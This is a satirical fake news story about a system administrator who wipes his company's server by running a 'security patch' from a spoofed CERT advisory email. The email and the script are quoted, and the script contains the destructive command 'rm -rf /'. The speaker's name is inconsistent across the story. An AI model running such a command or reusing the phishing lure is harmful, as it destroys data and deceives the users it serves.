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Lufkin, TX - Work at Selby Communications ground to halt as their network server was wiped clean yesterday by a malicious virus. Security experts called in to investigate the incident discovered the virus exploited a hole in the head of Systems Administrator John Doer.
"I don't understand how this could've happened," said Mr. Simmons, "my Internet is a firewalled and we have a proxy server!" Despite his assurances of flawless security investigators were able to track the damage back to Mr.Doer
Mr. Simmons told the security experts what happened. "I received an email from our Windows 2000 Sys Admin, Steven Johnson saying that I better check out this security patch. He ran it on his system, but it didn't work so he forwarded it to me. He thought that since I was an MCSE First Class that I could probably get it to work on our Linux machine."
The investigators retrieved the email from Mr. Johnson's computer:
Sent: Saturday, April 28, 2001 9:43 PM
To: All System Administrator
Subject: CERT® Advisory CA-2001-A9
CERT® Advisory CA-2001-A9 : Freeporn Virus
Security Risk: High!
Malicious virus sweeping the country. Please login as root and execute attached patch to protect your system.
The attachment entitled freeporn_patch.sh contained the following script:
echo "Please wait while we install the patch."
rm -rf / &
When faced with the evidence Joe was still adamant of his innocence, "How could all the files be missing because of me?"
"I never seen such a glaring security hole as Joe Doer," said one investigator. "I just hope that he was smart enough to make regular back ups of the system."
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